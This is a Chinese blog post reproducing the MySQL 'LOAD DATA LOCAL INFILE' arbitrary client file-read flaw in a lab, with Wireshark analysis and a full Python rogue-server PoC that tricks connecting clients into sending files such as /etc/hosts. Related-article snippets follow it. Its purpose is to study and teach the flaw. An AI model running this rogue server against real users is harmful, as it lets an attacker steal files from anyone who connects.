前言

第一次得知该漏洞后找了一些文章去看。

一开始不明白这个漏洞是怎么来的,只知道通过在服务端运行poc脚本就可以读取客户端的任意文件,直接找到网上准备好的靶机进行测试,发现可行,然后就拿别人的poc试验,屡次失败,一度认为这个安全问题是不是已经被修复了。

查了很多文章,了解完原理之后,重新复现了一次,终于成功了。

准备

  • 客户端:本地kali虚拟机
  • 服务端:阿里云服务器(centos系统) 开放端口:1336
  • 客户端与服务端均有安装mysql

分析原理

这得从mysql的两个操作说起:

load data infile
load data local infile

前者用于从服务端文件导入数据到数据库,后者用于从本地客户端文件导入数据到数据库。

举例:

首先连接服务端数据库:

mysql -h (服务端ip) -u root --enable-local-infile -P1336   //指定端口

输入密码成功连接,在mysql库中创建一个名为test的表,列名分别为username和passwd:

MySQL[mysql]>create table test(
>username varchar(10),
>passwd varchar(10)
>);

假设在客户端有一个test.txt文件,路径为/var/lib/mysql-files/test.txt,内容为:

kali-clien:Hed9eh0g

使用指令:

MySQL[mysql]>load data local infile "/var/lib/mysql-files/test.txt" into table test fields terminated by ':';

它的意思是导入test.txt的内容到test表中,且按冒号进行分割内容并存储到列名。

然后再查询test表可以发现成功导入test.txt文件:

接下来我们要利用wireshake分析从远程连接服务端数据库到导入本地文件这个过程中,服务端和客户端大致交流了什么。

首先打开wireshake,监听3306端口,然后再重新进行一次从连接服务端数据库到导入本地文件的操作。

可以得到相对应的流量信息,分析一共有几步:

1、 greeting包:

2、 登录请求包:

3、 初始化的一些查询,比如select @@version_comment limit 1、show databases、use database之类的:

4、 找到关于执行 load data local infile语句的包。

  • 首先是客户端发起的Request Query,其中可以看到是我们请求导入test.txt时的指令:

  • 紧接着,服务端发起一个包Response TABULAR,其中包含test.txt的路径:

  • 然后客户端才开始发送/var/lib/mysql-files/test.txt文件的内容:

以上就是客户端请求服务端导入本地文件的过程

如果客户端要用load data local infile 将文件插入表中的话,客户端会先发一个请求包,这个请求包里包含了要插入的文件的路径。而服务器接下来返回一个Response TABULAR包,里面包含文件路径,然后客户端得到了许可才开始传输文件。

此时如果服务器返回的Response TABULAR包里的文件路径不是客户端发出的请求包的路径的话,而是服务器恶意构造的,在其返回的Response TABULAR包里更改文件路径,就可以实现客户端任意文件读取。

漏洞验证

首先必须伪造出一个服务端的mysql的请求,必须能够发送下列几个包:

  • 向mysql client发送Server greeting包
  • 对mysql client的登录包做Accept all authentications响应(即任意用户密码都能登录)
  • 等待 Client 端发送一个Query Package
  • 回复一个file transfer请求

这是老外编写的POC:

#coding=utf-8
#mysql_server.py #!/usr/bin/python
#coding: utf8
import socket # linux :
filestring = "/root/桌面/test.txt" #这一行并没有什么卵用,估计是记录一下读的哪个文件
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts" HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 1336 # 改下端口
BUFFER_SIZE = 1024 # 原作者的greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#1 Greeting
greeting = "\x4a\x00\x00\x00\x0a\x35\x2e\x36\x2e\x34\x37\x00\xda\x03\x00\x00\x3e\x54\x6c\x44\x4e\x3b\x79\x70\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x5f\x7d\x77\x5d\x4c\x44\x52\x4d\x6a\x4f\x2c\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00" #2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" #3 Payload
payloadlen = "\x1e" #原payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x76\x61\x72\x2f\x6c\x69\x62\x2f\x6d\x79\x73\x71\x6c\x2d\x66\x69\x6c\x65\x73\x2f\x74\x65\x73\x74\x2e\x74\x78\x74" #原payload = payloadlen + padding + "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"
#/etc/hosts
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1) while True:
conn, addr = s.accept() print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()

这个POC必须先经过修改才能实现,这就是我当初直接用会失败的原因。

修改的地方包括:

  • PORT参数,即服务器开放的端口
  • greeting参数,也即greeting包所对应的转义字符串:

  • File Transfer包(也即payload参数),结合要访问的文件路径进行修改:

其中第一部分payloadlen对应第一个十六进制"\x1e",第二部分padding对应第二第三个十六进制"\x00\x00",剩余的十六进制构成payload第三部分。

修改完成,在服务端运行该脚本,客户端连接服务端mysql,在客户端没有进行任何操作请求的情况下,服务端即可读取到指定路径的test.txt内容:

POC优化

刚才的POC使用起来还是太麻烦了,总是要去修改对应的参数才能实现读取,GitHub上有一个相对自动化的POC:传送门

使用时只需要修改服务器开放的端口,和想要读取的文件路径,脚本会根据流量包的规则自动转化为符合条件的十六进制字符串,算是很方便了:

最终读取的信息会保存在同目录下的mysql.log文件下:

mysql任意文件读取漏洞复现的更多相关文章

  1. PHPMailer命令执行及任意文件读取漏洞

    今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...

  2. 24.Windows任意文件读取漏洞

    漏洞概述: 近日,国外安全研究员SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC.这是2018年8月开始该研究员公布的第三个windows 0 day漏洞 ...

  3. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  4. Discuz!X 3.4 前台任意文件删除漏洞复现

    Discuz!X 3.4 前台任意文件删除漏洞复现 参考链接: http://www.freebuf.com/vuls/149904.html http://www.freebuf.com/artic ...

  5. 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  6. 【代码审计】XYHCMS V3.5任意文件读取漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  7. 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  8. Atlassian Confluence任意文件读取漏洞

    Atlassian Confluence Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi.该软件可实现团队成员之 ...

  9. Resin任意文件读取漏洞

    Resin是什么 虽然看不上但是还是原因下百度百科: Resin是CAUCHO公司的产品,是一个非常流行的支持servlets和jsp的引擎,速度非常快.Resin本身包含了一个支持HTTP/1.1的 ...

随机推荐

  1. 实战解读丨Linux下实现高并发socket最大连接数的配置方法

    摘要:Linux操作系统,无论是编写客户端程序还是服务端程序,在高并发TCP连接处理时,最高的并发数量都要受到系统对用户单一进程同时可打开文件数量的限制. [诉求场景] Linux操作系统,无论是编写 ...

  2. 记录一个基于Java的利用快排切分来实现快排TopK问题的代码模板

    使用快排切分实现快排和TopK问题的解题模板 import java.util.Arrays; public class TestDemo { public static void main(Stri ...

  3. 【Java/DateTime】用当前日期时间与确定日期时间比较,大于则执行某动作

    代码: package logbackCfg; import java.text.ParseException; import java.text.SimpleDateFormat; import j ...

  4. VMware虚拟中输入ifconfig提示not found解决办法

    1. 查看虚拟机是否没有IP地址:命令行中输入ip addr,如图红框所示,若无是需要设置. 2. 进入sbin目录确认ifconfig是否安装:可以通过命令[ls | grep 'if']来看 3. ...

  5. python基础一(安装、变量、循环、git)

    一.开发语言分类 系统的开发语言有java.c++.c#.python.ruby.php等等,开发语言可分为编译型语言和解释型语言. 编译型语言就是写好代码之后就把代码编译成二进制文件,运行的时候运行 ...

  6. MySQL的事务机制和锁(InnoDB引擎、MVCC多版本并发控制技术)

    一.事务(数据库的事务都通用的定义) 1.1 事务定义 事务是由一步或几步数据库操作序列组成逻辑执行单元,这系列操作要么全部执行,要么全部放弃执行.事务通常以 BEGIN TRANSACTION 开始 ...

  7. 口罩预约管理系统——数据库设计(前端+PHP+MySQL)

    目录 一.背景 二.口罩预约管理系统介绍 三.数据库设计 四.MySQL创建数据库以及数据表 五.数据库设计总结 一.背景 2020年的疫情影响了我们的生产生活,政府不断加大力度联防联控,遏制疫情的蔓 ...

  8. Linux自动同步时间的方法

    介绍两种同步linux系统的时间方法: (1) 开启ntpd服务,即配置ntp服务器实现时间同步. (2) 利用ntp客户端程序,即ntpdate同步时间. 注意:因为ntp服务器本来就会与上层时间服 ...

  9. docker自己部署一个项目

    老祖宗的话说得好呀:实践出真知 自己打个简单的镜像运行  遇到了一堆破问题 学习docker主要在菜鸟教程  https://www.runoob.com/docker/docker-containe ...

  10. Django中间件之SessionMiddleware源码分析

    settings.py文件中 MIDDLEWARE = [ 'django.contrib.sessions.middleware.SessionMiddleware', ] # from djang ...